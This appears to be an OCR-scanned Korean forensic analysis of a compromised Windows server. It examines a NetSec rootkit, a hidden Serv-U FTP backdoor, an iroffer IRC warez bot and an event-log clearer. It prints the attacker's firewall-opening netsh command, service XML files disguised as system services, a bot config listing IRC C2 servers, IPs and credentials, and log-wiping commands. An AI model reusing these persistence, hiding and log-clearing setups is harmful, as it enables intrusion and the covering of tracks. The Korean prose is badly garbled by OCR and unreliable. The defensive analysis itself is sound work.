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@ move C:\recycler\msprexe.exe "C:\Recycler\S-1-5-21-3127...\ _restore.."
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@O move C:\recycler\config.exe "C:\Recycler\S-1-5-21-3127...\ _restore.."
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"%cmd%?/c netsh firewall add portopening protocol = TCP port = 27397 name =
"Automatic Updates" mode = ENABLE scope = ALL profile = ALL"
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HKEY_LOCAL_MACHINE\SYSTEM\ ControlSet001\ Services\ NetSecDriver

Ad FEZNS API §57ES A5 Ase FY/Ze s/ MEND A
< AFA Hed gA s B3 e 22 2AES FERES 9 F
tt AT lFd o] AAHo Je EAY FHE Yo AR EAYE
0B Aow A% &

00406865 mov edx, NetSec.00407A14 ASCI| "[HIDDEN TABLE]"
00406926  sub ebx, NetSec.00413EBC

ASCI1 "_restore{DIWJDS7S-C329-3242-91EC-D2SD72C70D82}"

00406932 mov ebx, NetSec.00423EBC ASCI1 "NetSec.exe"
00406990 mov edx, NetSec.00407A2C ASCI1 "[HIDDEN PROCESSES]"
00406A5E  sub ebx, NetSec.00423EBC ASCI1 "NetSec.exe"
00406A6A  mov ebx, NetSec.00433EBC ASCI| "TASKDAEMON="
00406AD5 mov edx, NetSec.00407A48 ASCI1 "[ROOT PROCESSES]"
00406BB2  sub ebx, NetSec.00433EBC ASCI| "TASKDAEMON="
00406BBE  mov ebx, NetSec.00443EBC ASCI| "DIRINDEX"

00406D19  sub ebx, NetSec.00443EBC ASCI1 "DIRINDEX"

00406D25 mov ebx, NetSec.00453EBC ASCI1 "DIRINDEX"

00406D90 mov edx, NetSec.00407A64 ASCI1 "[HIDDEN REGKEYS]"
00406F27  sub ebx, NetSec.00453EBC ASCI1 "DIRINDEX"

00406F9E  mov edx, NetSec.00407A80 ASCI| "[HIDDEN REGVALUES]"
0040706B  mov ebx, NetSec.00473EBC ASCI| "#DeviceWHarddiskVolumel="
004070D6  mov edx, NetSec.00407A9C ASCI1 "[FREE SPACE]"
00407149  push NetSec.00407AB4 ASCII "Wt . W"

00407315  sub ebx, NetSec.00473EBC ASCI| "#DeviceWHarddiskVolumel="
00407436  mov eax, NetSec.00407ADC ASCI "TCPI:"

0040744D mov eax, NetSec.00407AEC ASCI "TCPO:"

00407466 mov eax, NetSec.00407AFC ASCI1 "UDP:"

6) taskdaemon.exe XAl
S4L o33 g
- %= : PECompact 2.x
- 7% : xmlE& ] &3 MH|E 5 T2
- HE9d

taskdaemonrt.dll

libxmlI2.d11
taskdaemon.dtd

DirIndex.xml

ProfileMgr.xml
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B
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ol

taskdaemon.exe -i DirIndex.xml

HHEZE 4 A2E FAHS F3A ol Dirlndex.xml, ProfileMgr.xmldl 7§ 2] = o]
A= logongui.exe, msprexe.exe ZZ 1S AHPst= Av|2AE TF A7t A3
REE “Automatic’ R AR Azde] A¥E HUHE AN HEE G

.

- DirIndex.xml
- 4829 : Dirlndex
- A2 I3 : logongui.exe

- AYPHE = . "Automatic"

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<IDOCTYPE Service SYSTEM "taskdaemon.dtd">
<Service>
<Program>
<Name>DirIndex</Name>
<DisplayName>Directory Index Manager</DisplayName>
<DisplayNamePrefix></DisplayNamePrefix>
<Description>Directory indexing service for file integrity management.</Description>
<WorkingDir>C:\ Recycler\ S-1-5-21-3127994617-2291869382-1739915505-1006\ _restore{DIWJDS7S-C329-3242-91EC-
D25SD72C70D82}\ com1\ RP00</WorkingDir>

<Executable>C:\ Recycler\ 5-1-5-21-3127994617-2291869382-1739915505-1006\ _restore{(DIWJDS7S-C329-3242-91EC-
D25D72C70D82}\ com1\RPOO\ logongui.exe</Executable>

</Program>

<Options>
<AffinityMask>0</ AffinityMask>
<Priority>0</Priority>
<EventLogging>false</EventLogging>
<InteractWithDesktop>false</InteractWithDesktop>
<PreLaunchDelay>0</PreLaunchDelay>
<StartUpMode>1</StartUpMode>
<UponExit>1</UponExit>
<ShutdownDelay>5000</ShutdownDelay>
<ShowWindow>0</ShowWindow>
<JobType>1</JobType>

</Options>

</Service>
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- ProfileMgr.xml W&
- AlB]2=" : ProfileMgr
- AYZZ T ;. msprexe.exe

- A3PHF E . "Automatic"

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<IDOCTYPE Service SYSTEM "taskdaemon.dtd">
<Service>
<Program>
<Name>ProfileMgr</Name>
<DisplayName>Profile Manager</DisplayName>
<DisplayNamePrefix></DisplayNamePrefix>
<Description>Assembles information about your system for various system utilities such as Control

Pannel and My Computer.</Description>

<WorkingDir>C:\ Recycler\ S-1-5-21-3127994617-2291869382-1739915505-1006\ _restore{DIWJDS7S-C329-3242-91EC-
D25SD72C70D82}\ com1\ RP00</WorkingDir>

<Executable>C:\ Recycler\ 5-1-5-21-3127994617-2291869382-1739915505-1006\ _restore(DIWJDS7S-C329-3242-91EC-
D2SD72C70D82}\ com1\ RPO0\ MSPTexe.exe</Executable>

<Parameters>dhtml.c.dll</Parameters>
<Delay>5000</Delay>
<ConsoleApp>false</ConsoleApp>
<ForceReplace>true</ForceReplace>

</Program>

<Options>
<AffinityMask>0</ AffinityMask>
<Priority>0</Priority>
<EventLogging>false</EventLogging>
<InteractWithDesktop>false</InteractWithDesktop>
<PreLaunchDelay>0</PreLaunchDelay>
<StartUpMode>1</StartUpMode>
<UponExit>1</UponExit>
<ShutdownDelay>5000</ShutdownDelay>
<ShowWindow>0</ShowWindow>
<JobType>1</JobType>

</Options>

</Service>

8] logingui.exe Z=A}

Jm
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- HTT . BAT
- 71% : ServU FTP AW ZZ 1%, 43958 TEES Ea Au|x
- A9
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- libeay32.dll

- ssleay32.dll

* wbemup32.dll

- wmspdscore.dll

- winservices.dll (471} Y)

- WindowsStartFnc.dll (213} Y)

logongui.exe ZZ 18- T E 43958H-S ©]§3F ServU FTP AlH Z =& ]ﬂ-
o] #AATUANA libeay32.dll, ssleay32.dllS |8 Y™ DLLZ}Y 2}
olu g do] oz Uuk HAE IS AT JIIE YAAA =
o} winservices.dll FY2 ftp T34 o]l WindowsStartFne.dll> =
oltt. YA 27 L 453 7] T ddEold.

- winservices.dll

[GLOBAL]
Version=5.0.0.0
ProcessID=1720

- WindowsStartFnc.dll

Tue 26Sep06 09:19:34 - SrvFTP FTP Server v5.0 (5.0.0.0)
Reserved - by Rob Beckers

Tue 26Sep06 09:19:34 - Cat Soft is an affiliate of Rhino Software, Inc.
Tue 26Sep06 09:19:34 - Using WinSock 2.0 - max. 32767 sockets

Tue 26Sep06 09:19:35 - PROBLEM: Unable to load the SSL certificate (file SERVUCERT.CRT) - No SSL
support

- Copyright (c) 1995-2004 Cat Soft, All Rights

Tue 26Sep06 09:19:35 - FTP Server listening on port number 43958, IP 127.0.0.1
Tue 26Sep06 09:19:35 - Valid registration key found

9) msprexe.exe XA}

=qe ey 2o

- ¢F= . UPX 0.89.6 - 1.02
71% : iroffer T2 13 | IRC A}EAEA 3L A& 2L dolg A%
- BE gy

- cygerypt-0.dll

- cygwinl.dll

- MSVCP60.d11

- dhtml.c.dll ("FElZ21 3Y)
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- winhlp.dll (373474 3}9)

msprexe.exe™ iroffer ZZ IS WA nlo]yg|2 TCP/UDP ZEE ©]&3
A IRC FgolAdEEANA HolHE AFHFTh msprexeexe ZZIHS A3
winhlp.dll Ztdo] A= o] 5d2 DLLY F#§l< iroffer 21 IFHo|t}, A3
¥ F dhtmledll #73 243%dS Fall IRC Aol H&ES A=sta H&o] =9

A" A" goz Add 553

==

&l- %
re

- winhlp.dll

IRFR  p  Liroffer v1.3.b09 [20040823145936], CYGWIN_NT-5.0 1.5.12(0.116/4/2)

T 3o DLL %do] &A8t=d dhtmledllS S74AA wd=z AE =3
AR o] EA) 3.

- dhtml.c.dll

statefile winhlp.dll

logstats no

logrotate none

logfile winlog.dll
connectionmethod direct

server alldramairc.esylum.net 55493
server alldramairc.esylum.net 65535
server alldramairc.esylum.net 1100
server irc.esylum.net 6667

server irc.esylum.net 6669

server irc.esylum.net 1200

server alldramairc.esylum.net
server Prynix.esylum.net

server Buyashell.esylum.net
server fire-com.esylum.net

server xplycyt.esylum.net

server 420.esylum.net

server BSDAXxis.esylum.net

server 66.207.166.20

server 66.252.29.237

server 72.20.27.54

server 64.18.148.188

server 66.29.46.17

server 66.207.166.19

channel #esy-tzt -plist 30
user_realname XdCc

user_modes +ix

loginname WaReZ

nickserv_pass h4x3d
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slotsmax 3

queuesize 100

maxtransfersperperson 1

maxqueueditemsperperson 1

restrictlist yes

restrictprivlist yes

restrictprivlistmsg Negative Sir

restrictsend yes

downloadhost *I*@*

creditline 714,1(??%+.-10,1> 14,1?10,1 EsYluM 4,1?L0,1<'4,1-.7+5?
adminhost *hijacked*!*@*.*

adminhost *b00**@*.*

adminhost *meemaw*!*@**

adminhost *phastman*!*@*.*

adminpass AA.RJwBCGdzkA

uploadhost [eSyLum]-**@*

uploadhost [EsYluM]-*I*@*

uploadmaxsize 0

hideos

timestampconsole

quietmode

notifytime 30

nomd5sum

filedir
c:\recycler\s-1-5-21-3127994617-2291869382-1739915505-1006\ _restore{diwjds7s-c329-3242-91ec-d2sd72c70d82}\ com2\ rp00\
uploaddir
c:\recycler\s-1-5-21-3127994617-2291869382-1739915505-1006\ _restore{diwjds7s-c329-3242-91ec-d2sd72c70d82}\ com2\ rp00\
user_nick [Esylum]-NV-16313

g) fclear.exe, dtreg.exe XAl

O flcear.exe
- 45 UPX 0.89.6 - 1.02 / 1.05 - 1.24
- 7% : o|HE 211 A Z2 Y

of
o
E
o
)
=
s
°
i)
fru
e
=3
[
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ClearEventLog v1.0.11
Freeware
: Copyright 1398 Duke Engineering
httpe /A dulk.e.netd

Syntan:

fclear spatem - Clears spstem event log
fclear app - Clears application event log
fclear security - Clears security event log
fclear all - Clears all event logs
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